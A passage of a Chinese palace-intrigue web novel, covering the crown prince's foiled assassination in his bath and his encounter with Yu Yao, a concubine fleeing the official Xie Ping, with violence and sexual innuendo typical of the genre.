按大曌律,宫中皇子们早早就会叫液庭派人给讲明白男女事。太子熟悉成人后的生理状态的。每日早晨,某处地方直直挺立起来,往日只需要念几遍《清心咒》就会清净。
只是不知道今儿夜里是怎么回事。
太子半梦半相间,涨得身体都疼,这样的状态维持了许久,《清心咒》的使用效果也甚是微小。
他闭上眼,脑海里浮现出一道春山蜿蜒流丽、明媚若百卉萌动的山水景。
不用触摸,就知道那里有多么美丽;不必抵达,就知道那里有多么朦胧。
当清晨的第一缕阳光从和合木窗上透明的明瓦透过,穿过重重屏风摆件,细小的微尘在光影里旋转、飘缈。
东宫总理内侍王振手持拂尘,他身后跟着两个美貌的小宫娥捧盆托布进了内殿。
哪知一打开门,内殿里面忽然扬起一道喝止声:“不准进来!”
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但王振已经一只脚踏入进去,他的鼻子忽然耸动两下,这个味道……
殿下他……
王振眼观鼻,鼻观心地连忙撤回脚,将门关好,与两个不谙人事的小宫娥面面相觑。
内殿中,太子自梦中醒来,他一掀开身上的被子,一股子浓郁的石楠花味扑鼻而来。
他将换下来的裤子往衣架上一扔,重新换上了干净的新衣。
-----------------
春光正盛,外面桃李争芳,一场春雨湿润浸透泥土,万物复苏。
吏部公堂里,几位侍郎都察觉到了今日上司心情似乎不快,纷纷屏气凝神,半分不敢大声喧哗,恐惹得年轻的上司更加厌烦。
好在诸位吏部侍郎大人们,并没有烦恼多久,门外常侍奉谢尚书的那个名叫“长风”的贴身小厮进来,附耳在谢尚书耳边低声说了几句。
几个侍郎也不敢随意窥探他人的隐私,都低下头做自己的事。只是没想到,这位年轻得意的谢大人在听完那个小厮禀告以后,那张俊美无俦的脸骤然阴沉起来。
长风也想不到昨日自家主子下了朝紧赶慢赶回了吐珠胡同,又穿了余姨娘最喜欢的红色,还叫厨房里做了好几样余姚喜欢的饭菜,预备这一场三个月后,正式的相遇。
没成想等到半夜都没见人来,长风想起昨日谢凭的脸色,又阴又冷。
而现在长风禀报完了护国寺赶来的秋月与几个小厮交代的话。
他偷偷觑了一眼自家主子的脸色,这些年,自从谢凭入仕做官以后,养气功夫已非昔日在学院读书的时候可比。
他也很多年没有这样动过怒,长风觉得余姨娘不像是那等福薄之人呐!
谢凭对身边的女人在钱财上大方,只除了他是真的薄情。
余姨娘着实是个例外,也是头一个除了大夫人以外,在大人身边最长久的人。长风相信,将来就算余姨娘没有子嗣,凭着大人对她的宠爱,她进入侯府,得到大人的庇佑也并不是难事。
长风被谢凭又阴又狠的脸色吓到了,不经意后退两步。
谢凭冷笑一声,“失踪了?他们就是这样伺候人的?主子身子不好,外出也不知道拦着点!现在出事了来跟我说人没了?”
长风被问得大气都不敢出,他垂下头,心想看来那几个伺候的人真要洗干净脖子等着了。
谢凭似乎察觉到现在不是情绪外露的时候,他的下属们听见了这边的动静,纷纷侧过头来看看到底发生了什么事。
他向来十分隐忍,给人的感觉都是稳重自持,余姚是他心爱的女人,她的安危固然重要,但也不足以令他失态!
想清楚了这一点,谢凭咬牙,低声道:“生要见人,死要见尸,去给我找!”
可话虽如此,但男女情爱,四百多天的同床共枕,有一个女人的一颦一笑都融入他的生命。
如今生死未卜,他觉得脑子都疼痛挤压了起来。
长风叹口气,沉声道了一句“是”便出去了。
剩下一些下属大气也不敢出地处理公务,生怕城门失火,殃及池鱼。
18. 018
民间谚语:春雨贵如油。天上瓢泼大雨倾盆倒下,玉阙城中太和殿外,朝臣们身边有接待太监撑伞。
散了常会朝以后,太子身着红色圆领团金蟒常服,缓缓从大殿门走了出来,皇帝今日朝会上提了江南春汛一事,黄河决堤,江南几省俨然成了一片泽国。
皇帝为这事急得又是闹头痛,又是火牙犯了,太医院的人早晚两头跑,忙得焦头烂额。
朝会上皇帝就把这个烂摊子丢给了太子,太子对王振吩咐召集东宫詹事府人来见。
一边说着,太子望了望在屋檐下躲雨的几个青袍官员,他们见了储君,纷纷抬手行了礼,色恭礼敬:“太子殿下千秋”。
宫里面的太监们看人下菜碟,到了下雨天儿,宫里面发下来的油纸伞不够用,当然紧着官位高的用。
太子伸手一抬,示意他们不必多礼。只是他的视线没有一直停留在这些人身上,反而望向了大雨跳珠的远方。
王振也顺着他的视线看去,心中不由揣测起来,只是面前的主子再也不是昔日的小主子,他的心思随着年龄的增长,变得愈发莫测起来,他的心思也更难猜疑。
王振觑着太子的脸色猜测道:“也不知这小谢大人最近忙些什么呢?殿下眼前正是缺人的时候,不知小谢大人这是有什么事……”
王振一边说,一边偷偷觑了觑太子的眼色。
谁知太子殿下那双深邃飞白的眼眸似笑非笑地了过来,竟然不怒自威。王振感觉自己的后背悚然一惊,顿时就感觉到自己的后背上冷汗都淌了下来。
好在太子倒也没有过多计较,王振随侍在太子一旁,两个人一起回了宫外的报本宫里。
太子一回报本宫,就有小太监来报,东宫詹事府里的几位大人们来了。太子便亲自去了书斋与几个手底下的班子商讨会议。
这么一谈下去,时间就像是书斋里带有刻度的竹漏一直向下伸。
太子听着手底下几个幕僚你一言我一嘴地讨论,听了半个小时,幕僚们终于安静了下来,纷纷看向了坐在主位上的人。
坐在主位上的太子殿下身上还是白日的那件绯色圆领常服,慕容家专出美人,连稍微丑点的都找不到。
而这位东宫太子的皮相在这一代慕容家子孙中算得上数一数二的了。世人对于尤其美貌的人格外关注,尤其是这个美人还是一国储君。
太子殿下一只手掌撑着侧脸,另外一只手则是高高举起一个江南景德镇制专供皇室使用的玲珑瓷。
顾名思义‘玲珑’二字,实际上就是在瓷器胚体上口雕镂出规则或者不规则的‘玲珑眼’,然后在瓷坯上继续上釉色,烧成透明或者半透明的亮孔,因其明彻、剔透,故而得名【1】。
这玲珑瓷确实精美异常,且只供本朝皇室使用,有一些深得皇室人喜爱的文武大臣都以被赐上一套玲珑瓷器为荣。
只是现在让他们心中十万火急,都仰长着脖子等着太子殿下发话呢!
太子骤然将手中的玲珑白瓷杯子倒扣在书案上,发出“搭”的一声,众位臣工的心脏就像随着这一枚杯子重重扣了一下。
太子瞥了一圈座下众人,他向后微仰,冷声道:“朝廷每年给众位发放俸禄,众位就是这样尸位素餐?只知道拾人牙慧,俗话说,十年春秋,江山亦改,难道朝代更迭了,这河道就不会更改了么?”
东宫詹事府中众人纷纷吞咽了口水,正因为这样一番话额头上开始不得涌出冷汗。
幕僚们纷纷起身对着坐在主位上的太子款款跪下恭敬道:“臣等罪该万死,望殿下赎罪!”
太子摆摆手,“起吧,众位臣工也无需太过自责,所谓‘术业有专攻’,孤已经寻觅到民间一位对治水颇有心得的举子,他将自己治水的心得编制成册,造福后人,孤看过他的书册,确实对前人治水经验,取其精华,去其糟粕。不若就叫此人暂任河上幕僚,先跟着攻玉,若是成了,也是造福百姓。”
那位表字‘攻玉’的年轻人走了出来,对着主位上的太子殿下款款下跪,“臣领旨。”
直到这场长达数个时辰的议事终于结束,王振这才进来伺候太子用晚膳。太子胃口颇为刁钻,今日还是没用多少。
太子坐在剔透、明亮的灯盏下,正要命令小太监把今日雪片一样的灾情奏折搬进来瞧瞧。
没成想他身边伺候的王振忽然一脸殷勤地凑了过来,谄媚笑道:“殿下,太后娘娘今日赐了您一位美人,说是留作司寝。”
所谓‘司寝’,正是为了给皇家子孙通晓人事所用,相当于民间男子成年以前,家里长辈安排的通房丫鬟。
这些通房身份地位又低,倘若不得男主人喜爱,等到将来新妇进门,便连踮脚的地方都没有了。
王振本来以为自家殿下整日里脸色不好,是因为他没有疏解、发泄的渠道,现在皇太后娘娘亲自赐了美人来给殿下通人事,殿下可以名正言顺在与太子妃娘娘大婚前有人陪伴,也不至于还像从前一样,冷衾孤枕难眠。
以前皇太后和太后也不是没有给太子赐过女子,只是太子一直拒绝,便是拒绝不了的,回来了也会完壁将其配给得力的属下。
王振拿不准主意,他以为太子也许还是会拒绝,但一想到今日早晨挂在衣架上的亵裤,上面那股浓郁的麝香味,他的心思又摇摆不定起来。
太子抬眉看了一眼跟在王振身后的一个身着粉色宫裙的婢女。皮肤白皙,五官俏美,眉眼处有一股既害怕又期待的神态。这个小宫娥身量娇小窈窕,尤其腰细胸大,行礼的时候,饱满的胸部就颤巍巍的,惹人遐思。
太子垂下眉眼,似乎在想些什么,许久王振才听见自家主子指着他身后的司寝说:“你留下,侍奉孤洗浴。”
王振听完以后,果然精神振奋,他连忙禀告带着司寝宫娥退下,一是为着预备太子殿下洗浴的物件,二来则是因为司寝需要装扮一番。
报本宫中后殿中东侧间有一口温泉,温泉水是引自西郊山泉的活水,又热又暖,正是天然强身健体的好水。
太子洗浴时,司寝小宫娥就跪在太子的身后侍奉。
太子闭上眉目,养神的同时,他问道:“你叫什么名字?”
这东侧间的浴房里没有别的宫人服侍,看来就是在问她了。
司寝小宫女以头触地行礼道:“回殿下的话,奴婢荷娘。”
太子连眼睛都没抬,说:“在这里,服侍孤。”
荷娘浑身一颤,声音艰涩道:“是。”
似乎没过多久,太子听见一阵衣料落地的声音,然后是入水的声音,水波纹沿着身体胸膛晃动。
接着是一条湿润、纤细的手臂像蛇一样游移在健壮的臂膀上,一股说不清道不明的香味接着窜入鼻端。
太子骤然睁开了眼,面前的司寝小宫女身上披着一件粉紫色的薄纱孔衣料,愈发衬得名叫“荷娘”的小宫女身姿窈窕婀娜。
荷娘一见面前的人睁开
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了眼,她忽然羞红了脸,欲要遮住自己高耸白嫩的峰谷。
谁知此时太子此时就像是看待一个冷冰冰的物件一般,眼神里并没有她寻常所见男子们眼神中的贪婪与垂涎。
好在太子没有看多久,荷娘湿润的眼眸骤然锐利起来,她见到对面闭上眼睛后,当机立断手臂抬起立即把头上的金色雕镂莲花簪奋力一拔,立即对着面前男人长佻的脖颈戳去。
脖子是人浑身上下最脆弱的地方,只需要一下刺入,赤红的鲜血刹那之间就喷涌而出,如此,神仙难救。
就在刹那间,荷娘红润的唇角轻勾,将在那枚金钗尖锐一头即将刺入的前一刻。
忽然被一只强劲有力的手掌给拿住了手臂,荷娘忽然觉得毛发倒竖,一对眼睛惊恐得望着面前的人,猝不及防对上一双戏谑、阴冷的眼眸。
荷娘双眸瞪大,一双初见时分外水润的眼眸中布满蛛丝般的红血丝。她手中的金簪骤然被掰折受力,而后金簪“噗通”一声掉入了水面。
而后掐在手臂上的手掌骤然松懈,而后一转宛如铁钳一般凶狠地掐住了荷娘白嫩纤细的脖颈。
荷娘被人从水面高高举起,眼睛像要从眼眶里滚落出来,她“嗬嗬”地叫了几声,她的脸上布满血痕,眼尾流出几滴生生被逼出的清泪。
“救……”荷娘不断拍打着面前男人的手臂。
接着“嘎拉”一声,纤细的脖子刹那间被折断,而后随意地甩向水池边,太子起身从衣架上随意扯了一件,打开了殿门。
殿门被突然打开,东宫总理内侍王振正靠在殿门旁的柱子处,骤然瞪大眼,直到看见太子,便换上了一副孝子贤孙的乐呵样,“殿下,您怎么出来了?”
王振试图往里边窥探,突然被一道眼神盯得头皮发毛,他悚然一惊,干巴巴地萎缩着。
太子声音阴寒,在淅淅沥沥的雨声中又凄又冷:“里面的尸体,拉出来埋了。”
王振悚然,他偷偷往太子□□被水洇湿可观的轮廓,他心中将几个想法都过几遍。
最后他不敢置信地瞪大眼,不……不会吧!
太子殿下难道是不举,被那女子瞧见了,所以才痛下杀手?
太子见他不动,又盯着自己隐□□大肆观察,显然脑子里全都是他听了会杀人的念头,眼眸锐利几分。
王振低下头,道:“奴才这就去办,请殿下稍事休息。”
如此讲着,王振伸出手对着身后几个小太监招了招手,小太监很有眼力见地跑过来跟了上去。
王振顶着巨大的压力,走到了殿内水池边去,一些小太监一见这场面,顿时吓得三魂去了七魄,连连捂住嘴干呕起来。
王振见他们失态,忽然皱眉冷笑一声,“小兔崽子,你吐,你今儿吐干净了,今儿偏要叫你把地上的东西吞下去才摆休!”
那些小太监连忙捂住嘴,再也不敢干呕。
王振一甩拂尘,瞥见了水池边上死狗一样的小丫鬟,脸色都沉了下来。
这是暗杀殿下的小贱人了,王振冷道:“孩儿们,把这个小贱蹄子给咱家埋在御花园下面,丰润花田。”
小太监们也不面露恐惧,争前抢后上手将人从水里捞出,水面晕开红色血迹,变得深红浅红。
王振的声音又尖又细,唤道:“来呀,把殿里边的水抽干净,将水池都仔仔细细刷洗干净,藏了一点污垢,都洗干净脖子领死!”
小太监们手脚麻利地动了起来。
19. 019
今日皇帝因头风病犯了,一切事宜前往行宫休息,恐懈怠政务,留东宫居守,此为之成例。
储君者,出曰抚军,守曰监国。
皇太子慕容望舒受令总领百官朝会,在皇帝龙椅下设了另一张阴沉金丝楠木雕镂金蟒椅,上面盘桓的金蟒张牙舞爪、狂放恣意。
“诸位有事启奏,无事退朝。孤受皇帝命总理百官事宜,还请诸位勿要藏私,欺上瞒下。关于江南黄河决堤事宜,孤已决定令高守愚协助河道总督周他山,暂时不发放职位,待到日后初见治理成效,便予其奖赏。不知众位臣工意下如何。”
太子的话音刚落,下面工部一些官员出列,以头抢地道:“太子殿下不可啊!高守愚此人是昌昭十九年的举子,只是他屡试不第,终究没能靠着科举成为陛下与殿下的臣子。如今他自夸自擂撰写了一部不知真假的《治黄录》,就能得到上位青睐,岂不是要叫天下举子们心寒?惹得众多举子们不事读书正道,偏爱奇技淫巧,邀宠上位!”
太子坐在上位,翼善冠下薄薄的眼皮轻轻垂下,露出了一个嘲讽的笑意。
呵,这帮文人们说起话来辛辣老练,喉舌如刀,既凌厉又冷漠。
太子抬起眼皮,瞥了一眼高台下位战战栗栗趴在地上的几个青袍官员,这些人正是本朝御史台的官员,主要负责监察、弹劾百官,纠正上位的错处。
由于冒犯的是九五之尊,自古以来御史的脖子都以“铁”著称。
太子心中不由冷嗤,分明都是肉体凡胎,经不起严刑拷打,更别说铡刀无情了。
不过,太子无需站起来跟这些御史们红头赤脖地争来辩去,因身为高位者,自有大儒为他辩经。
太子冷眼看着台下众人争得唾沫横飞,又将目光投向了站在台下第二排的绯袍男子,他最得力的助手,也是他心中敬爱的表兄谢凭。
此时谢凭漠然看着地面,握住玉笏板的两只手捏得又红又紧,心中不知道在想着什么。
过了许久,御史台那边的人终究没能掰过太子手底下,于是只能按着皇太子的意思来干,选用那个连进士及第都做不到的年轻人高守愚。
一场没有刀枪却由刀光剑影、唇枪舌剑表现出来的朝会终于散场。
昨日下了倾盆大雨,今日虽然不曾下大雨,这雾沉沉的天幕上全是漆黑翻涌的乌云。
官员们都散得快,王振今日奉太子殿下令,来到殿外进行等候。
王振见到刚出来殿门,预备离开的谢凭,连忙转身拦住。
没一会儿功夫,太子就出来了。谢凭对着太子行礼,太子伸手去接。
谢凭这几日因手底下奴才办事不力,每次来回禀的就没有好消息,为了不被人发觉后宅密辛,他只能派遣出一小部分人去找。
短短三日时间就将护国寺后山翻得干干净净,只是都没有见到人。
于是众人更加猜疑余姚与春花二人是因为山匪惊吓,所以才脚滑掉进了后山崖。只是后面山崖下是一块瀑布名景,众人猜测若是掉了进入,恐怕尸骨无存。
只偏偏谢凭怎么也不肯信,他一句“生要见人,死要见尸”,长风只得吩咐人去找民间的一个叫“水鬼”的捞尸队伍,去后山瀑布捞尸。
护国寺山崖后面的瀑布又急又凶,尤其是现在春训期间,下雨的时候捞尸,水底下形成了漩涡,多少人命都不够填的。
太子看了一眼谢凭的脸色说:“大表兄最近是怎么了?脸色怎的这样憔悴?”
谢凭今年二十五岁,身体早就褪去了少年的模样,换成了成年男子的精壮有力。
谢凭道:“多谢殿下关心,臣只是近几日睡眠不佳。”
太子心里不信,笑道:“孤就说大表兄这几日怎么魂不守舍,孤还以为哪个小毛贼大半夜入室盗窃,窃取了表兄的珍宝。表兄失此珍宝,因而魂不守舍,日夜颠倒呢。”
没想到太子瞥见谢凭脸上有一瞬间的失神,他一愣。
谢凭意识到自己失态了,连忙拱手道:“殿下赎罪,臣万死难辞。只是,因为家中一个家奴,盗窃了家中重要物件,臣待那人颇为深厚,没成想她背信弃义,竟然逃府而出!”
都是男人,太子有什么不懂的?他反应过来,啧啧称奇:“大表兄玉树临风,花玉神仙一样的人,待人向来宽和为怀,那真是好一个背信弃义、狼心狗肺的东西,竟然不识好歹。若捉住了他,表兄尽管教训。又或许,苍天有眼,却叫这逃奴奔逃无果,死在半途,这不正是‘恶人自有天收’的最好例子吗?”
谢凭听他说什么“死在半途”,他心里难免腾地一跳,面色已经变得十分不好看。
谢凭反应过来自己此时的不妥,忽然抬眼看向了站在一旁的太子,见他似笑非笑地盯着自己这边,谢凭心里猛然一阵紧缩,他连忙反应过来自己这是跳了太子设的圈套。
谢凭这才正视起来这个在自己面前向来恭敬的表弟,虽然皇后姨母并不是他真正的生母,但也是从刚出生就养在身边,当时所有人都说:这样养的孩子和自己生的没有什么区别。
事实上也确实是如他们说的那样,自太子养大的这些年来,他与皇后姨母的母族向来亲厚,关系甚笃。
现在十八岁的小太子显然与小时候的模样差异甚大,但皇族之中尚且无亲父子,何况他们才是姨表亲。
谢凭轻笑一声,咬牙道:“那个竟敢逃府而出的小畜生当然不能死,她死了,我难解心头恨!”
太子难得见这位一向以文中自持著称的大表兄露出这样极具攻击性的表情,他的眼闪过一丝玩味的笑意。
他还真有点好奇,是什么能叫一个平时不苟言笑的、工作狂魔一样男人是被一个怎样的人降服的?
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今年春雨比往年的多,春花的手臂还在恢复的期间,不能做重事,只是她见不得余姚在床下伺候,便挣扎着爬起身说:“姨娘,我来吧,你是主子,我是奴才,我怎么能叫你伺候?”
余姚一看她挣扎着要下床,便故意沉下脸问道:“你叫我什么?咱们不是说好了,以后你我姐妹相称吗?既然都做了姐妹,同富贵共甘苦,你手受伤了要养伤,难道我就忍心半点不看顾你?”
春花叫她说得,惭愧地低下头,说:“知道了,小姐。”
余姚仍旧看着她,春花才一拍脑门反应过来,她坚持说:“我真是狗肉进不了大云京,我生得这样丑,我怎么能做你的姐妹?从前在刘家大院的时候,我就是伺候人的奴才秧子,你是小姐,是主子……”
春花的这番话让余姚都陷入了沉默,她知道春花一时之间转不过弯来,日后她们摆脱了谢凭的追捕,前往江南去用剩下的钱做点小生意,日久天长下来,春花总会改变心中所想的。
余姚也不强求了,她说:“假如你心中还认同咱两的情意,人前你唤我‘小姐’也可,私底下你我姐妹相称又有何妨?”
话说到这份上,春花自然无不同意,眼下无人,两人
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于是姐妹相称。
雨后得晴,天边一缕暖阳斜斜映照在树梢上。
余姚的手臂挽着一只竹藤食盒,她身上换了一件西子青色纱孔长比甲,身上的藕丝秋半色飞燕子宽袖百褶裙,头发上的青色发带缠绕飘逸,她另一只手撑着一把八十四竹骨的素面油纸伞。
她来到对面的时候,敲响了面前两扇我屋宇式大门。
上次那位,“木公子”说的什么他就住在藕旁边,这样的话,余姚是半分都不信。
真是笑话,一国储君当然不可能像平民百姓一样住在这样随意动的地方。
但是他既然不愿意告诉她真正的身份,想来是心中忌惮她会是那种为钱与权势不择手段之人。
芍药当初就说过了,男人虽然自己是这样的生物,但是他们对于女人,却只要求她们年轻貌美,最多才多艺。
因此当初选择才艺的时候,余姚并没有去挑那种所有姑娘都热衷的琴棋书画,她反而挑的是需要在厨房兜兜转转的厨艺。
就连当初刘家大院的风头不及她的对手嘲笑她真是“劳碌的老婆子命”,但厨房里的老婆子见她长相貌美,出手又大方,所以也是用心用力地教导她。
事实上,她当初的选择也确实没有错。
前世她刚跟谢凭的时候,后来她有一回做了一道野鸡香菇甲鱼汤送去给了谢凭享用。
实则余姚那个时刚到谢凭身边,隐隐约约也摸到了谢凭向来重视工作多过男女之间的情爱。
或者说,比起情爱,谢凭对于男女之间,更多的是还是□□上的疏解。
但自从那回,余姚送汤后,厨房与当时看门的有信,就是因为这件事吃了不小的挂落。
但余姚就是感觉到谢凭待她不大一样了。
也正是因此,那会儿谢凭在扬州做巡按的期间,身边除了余姚,就没有别的人。后来余姚在云京城中与芍药再度遇见,她同芍药说了这件事。
芍药感叹说:“玉腰,还是你聪明,你一直都有主见,眼光也不差,知道要想抓住男人的心,就要抓住男人的胃。”
就这想了一会儿功夫,面前大门就打开,正是一个身穿灰青色的年轻小厮。
他见到了余姚,眼睛里闪过一丝亮光。
余姚还以为他不认识她,没想到这小厮竟然笑眯眯地把手一伸,说:“姑娘里面请。公子在内院呢。”
余姚一愣,她还真有些惊到了,她知道木公子其实就是太子,太子怎么可能会住在这里呢?
她来这边送饭,其实本意是想着,做为一个受了恩惠庇佑的低位者,向高位者适当表示感谢。
不送金银,既是因为人家不缺,二来她在高位者面前就是一个可怜兮兮、没有人庇佑的一界孤女。
能送的东西千千万,实际上送礼真正的用处,应该送到收礼者的心坎里。
既然当初,她是有预谋地出现在了他面前博取同情,借的正是她这幅容貌以及高位者身为男人的心理。
人家既然什么都不缺,余姚当然挑的是符合她现在身份的礼物。
究竟能不能送到人家的手上并不重要,真正重要的要让高位者知道她送礼这这份心意。
俗话说,千里送鹅毛,礼轻情义重。
又有什么礼轻得过一份糕点?
还有什么礼重得过有一个穷人面对恩人,拿出了她一切的这份情意呢?
只是余姚来送的只是这一份心意,没想到这太子殿下竟然真的在这里!
20. 020
余姚还陷入在‘太子殿下怎么会在这里’的想法中,那小厮已经笑嘻嘻重复了一遍刚才的话。
她收起神色,欲要把手中的食盒托付给小厮,毕竟她送礼是为了感谢太子殿下庇佑的恩情,而不是为了留在太子殿下身边。
那小厮就像是胸前长了眼睛,连忙向身后弹簧一样弹开了,他连忙摆手说:“娘子,这是你送给我家主人的东西,我这种卑贱之人怎么能碰呢?”
几乎有一瞬间,余姚以为自己其实没有逃离谢凭身边,他们手底下的人,其实都是一样的。
余姚见他脸上笑嘻嘻,实则手上半点都不敢触碰的样子,她无法,只能自己继续提着食盒进了里面。
那小厮引着余姚进了二院门口,他就自己退下了,余姚看两眼手里面的食盒,只能硬着头皮进了内院。
此时,树影婆娑,清透的阳光从嗦嗦作响的树叶中轮转。
余姚边走边瞧,瞥见了满院子的山茶树,枝头大部分都结了白色的小花苞,偶然有一两朵已经开了花。
鲜白肥厚的花瓣形状优美,嫩黄的花蕊就像一团花圈,攒在花中,隐隐约约的草木花香,令人心旷神怡。
余姚心中不解,想不到这院中主人竟然如此偏爱白色山茶花,真是奇怪……
她感觉自己好像是窥探到了什么不得了的秘辛,心尖颤了颤。
忽然空气中响起了一阵利刃划破空气中的响声,余姚听见响声,不由移动脚步,抬眼看去。
不期然瞥见了一副洁白如雪的武士单衣,摆出姿势,两只手臂合拢握住一只长身黑色剑柄,森黑的剑身闪烁着寒光。
握剑之人招招凌厉,院中高处的山茶花瓣受到剑风飘零散落,忽而有一片花瓣欲要落进眼花缭乱的刀光剑影之中。
只是握剑的男子一抬手臂,那片洁白馥郁的花瓣便落在了凌厉地刀锋之上。
余姚当然不懂剑道,她只道这男子身形鹤势螂形,他似听见响动,忽而转过身来。
她这才看清,面前白衣男子容貌俊美,约摸十八九岁的模样,一身单薄的白色蚕丝外衬,身上出了汗,从余姚这角度看去,恰好得见他武人劲腰,身形流畅。
尤其惹眼的是他胸前两点红色花诛,在洇湿的白色单衣下显得异常显眼。
事实证明,人在尴尬的时候,的确异常繁忙。
余姚的眼睛原本在大胆欣赏,没料到忽然对上了一双清亮、黝黑的眸子,心脏猝不及防一跳。
她连忙向下看去,还没感叹他身形比例的优越,忽然瞥见了他身下腿间那一块因为衣裳单薄而遮挡不住的凸起,这样的尺寸似乎比谢凭还要看可观许多。
余姚咂舌,这……也太大了吧。
这边她还没感叹完,对面的太子忽然清了清嗓,道:“娘子怎么来了?”
自从上次感叹完了白玉微瑕以后,按照本朝习俗,已婚的可以叫“夫人”,未嫁的女子才称“姑娘”、“娘子”之类的。
太子当然知道面前这个异常美貌的女子是有主之人,只是余姚背主而逃,在他心中,终究还是觉着她不仁不义。
余姚似乎察觉到空气中微妙的变化,她的身子虽然只经历过谢凭一个男人,但她在情史上经历颇多,尤其是年少时长于烟花地,她早就知道男女之间,其实就那么一点事。
不是东风吹倒西风,就是西风压倒东风。
余姚被他灼灼的视线盯得眼皮一跳,差点就忘记了自己先前在太子面前的人设。
她将脸低了下来,微微侧过来,芍药说,这样的角度能最大限度将一个人的容貌展现一大半出来,同时又不至于全部暴露出来,显得整个人有一种“犹抱琵琶半遮面”的美感。
不知是不是天气过分炎热、干燥,余姚眼角瞥见了对面男人的喉咙滚动了两下。
太子见她身上穿着的正是他令王振送过去的衣裳、首饰,见惯了皇宫里面的花样繁复,乍然见到余姚这样简略、素雅的模样,果然幽深的眼眸不由黯了黯。
余姚将手中食盒奉上,道:“公子,这是妾的一点心意。妾身无长物,又蠢笨无盐,唯独昔日尚在闺阁中时,阿姆常刚夸赞妾的厨艺。因而妾做了一些拿手饭食,感谢公子屡次相救之恩。”
余姚在刘家大院学的就是如何在男人们之间游移,事实证明余姚的这套手段用起来简直是融会贯通、得心应手。
在风月当中,女人看似打不过男人,且女人受到的束缚显然比男人只多不少,实际上美色是刮骨的钢刀,美色是男人栽跟头的黄土坡。
太子见到眼前的女子微微侧过身子,那张犹如山茶花泣露的脸庞此时微微垂下,纤细犹如蝶羽震颤,犹如海棠曜日,又似梨花带雨。
他感觉脑海之中就像是听见了一阵阵的响动,就连呼吸声都变得异常急促。
春日负暄,花叶繁茂,太子觉得分明是不冷不热的季节,身上莫名奇妙就有几分燥意。
余姚看太子似乎没有一点想要回应的模样,干脆就近把手中的竹藤食盒放到了一旁温凉的石桌上。
她打开盖子,端出了里面用粗瓷盘子装着的几样梨花酥的糕点,每一个糕点都是白滚滚、胖乎乎的梨花模样。
太子瞥了一眼,眼底闪过了一丝轻蔑,皇宫里他什么好东西没见过,什么好东西没吃过?
从前只觉得她容貌炽盛,美艳无双。
现在知晓了她的底细,就察觉出她其实就是出身小门小户的女子,头发长,见识短,自以为得了什么好东西就屁颠颠地送了过来。
当真是小家子作风。
余姚瞥了一眼男人的神色,就知晓他是瞧不上她送的东西。
倒也难怪,人家是一国储君,是将来的天下共主,怎么可能瞧得上她送的东西?
不过余姚送东西来,并不是真正要送东西,反而更像是一种试探。
尤其是受了高位者恩惠的低位者,若是当真是一点回应都没有,那才是真的一点人情世故都不懂。
俗话说得好:世事洞明皆学问,人情练达即文章【1】。
余姚虽然从小没能在真正常的人家家中长大,但基本的做人道理,她也从市面上的世情话本字看了许多。
她脸上挂着得体的笑容,将手一送,预备将手中的瓷碗放在石桌上。
没成想就这么一会子功夫,太子把手伸了出去,没有发话。
余姚这碗放也不是,不放也不是,她一时之间陷入了两难的境地。
她没犹豫多久,太子见她手腕纤细又白嫩,心念一动,说:“拿一块给我。”
在他灼灼幽深的注视下,余姚只得硬着头皮一手拖着瓷盘,另一只手夹起一块白胖、精致的梨花酥递给了太子。
太子垂眸看了一眼伸到眼前的梨花酥,而拿住那块酥点的手,五指纤细、莹润,甲如美贝,从这样角度看去,简直犹如一朵馥郁幽深的兰花。
太子的眼眸垂了垂,被眼睫毛遮住的眼瞳,内里似有什么隐隐翻涌。
他鬼使神差伸手去接过来,触感冰凉,像一块冷玉,又像一块滑嫩的冷豆腐。
余姚的手指被人覆上,一擦而过,有一瞬间又暖又热的触感,他的指节处有握刀的指茧。
血缘真是一种神奇的东西,太子与谢凭似乎都格外偏爱练刀。谢凭的左手手掌骨节处就有许多陈年老茧,那双手抚弄人的皮肤时,常常会惹得一阵阵难以忍受的颤栗。
谢凭是一个床事上需求很旺盛的人,余姚从前跟他都做不到结束,谢凭喜欢一边顶撞,一边用布满老茧的手揉搓她的绵软,像搓弄软乎乎的面团一样。
余姚的身子不由自主地颤栗一瞬,她连忙缩回手,低下头说:“既然糕点送到了,妾就先回去了。公子慢慢享用。”
“等等。”身后传来一道略带暗哑的男声。
余姚听见这声,感觉身体一麻,她回头看向了身后年轻俊朗的男人,一愣。
太子问:“你叫什么名字?”
余姚心中莫名一惊,她回道:“妾姓余名姚。”
太子口齿咀嚼了几下这两个字,他低头看她的眼睛:“哪个瑶,瑶池的瑶?”
余姚斟酌道:“妾名的‘姚’字是女兆字体结构。”
太子似乎还有什么要问,余姚并不愿意再多说什么,她强撑着福了福身子,“木公子,妾去了。”
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太子望着她逃也似的背影,莫名觉得好笑,看来她不光目光短浅,胆子也小得很。
太子把那块糕点放到鼻子前闻了闻,他咬了一小口,舌尖上的味蕾绽放开一股软甜的味道,梨花香淡,这块梨花酥不甜不腻,果然是十分的好味道。
不知不觉间,太子吃完了一整块梨花酥,他搓了搓手指上的余温,又滑又腻。
这是什么香料味道?竟然有这样好的味道?
他的脑海中,一会儿是昨日夜里那伺候梳洗的小宫娥,脱干净了衣裳,只披了一件薄料衣裳,在挣扎活命的时候,露出了一整个莹润的圆弹。
一会儿是如果生长在她的身上……手感一定很好吧。
太子伸缩了一番手掌,忽然觉得空气莫名躁动起来。
云京城东街镇北侯府中,锦落院中。
前段日子老天一直在下雨,好不容易今日放晴,大薛氏拆了珠翠收拾,头上带着一只白狐皮子卧兔,她歪在美人榻上,膝盖上盘着一只毛色鲜艳的鹦鹉哥儿。
大薛氏一边抚摸手中的大肥鸟,一边指挥下人们把屋子里的东西挪出去晒暖,“衣柜子里边大爷的衣裳,都搬到外面晒晒,别叫走了潮,屋子里能见得着得都搬出去晒,我身上不好,你们眼里边有点活儿。”
谢凭一身玄青色宽袖衣裳,他坐在屋子里圆桌边上,手里拿着一本书在看,眉眼都没抬。
大薛氏与他夫妻几载,很知道他不高兴时候的模样,就是这样看着书,也不说话。
这几日,听下面的人是汇报说,谢凭一直都住在侯府里边的书房里。
大家族宅院里,主院是女主人的属地,而书房则是独属于男主人一个人的个人空间。
大薛氏知晓谢凭书房里边只有一个十二三岁的小丫头片子侍奉洒扫,余下的都是些男仆、小厮一类的。
这倒是奇了怪,大薛氏试探着问道:“青云,你今日怎么不去外边歇着了?难道是她们伺候得不好?”
谢凭与大薛氏少年结发,风风雨雨几载光阴下来,虽然一直无所出,但夫妻情分仍在。
近年来,虽然因着大薛氏在病中,身上不好,他们久无夫妻之实,谢凭遵循祖制,每月逢双都必来大薛氏房里做做。
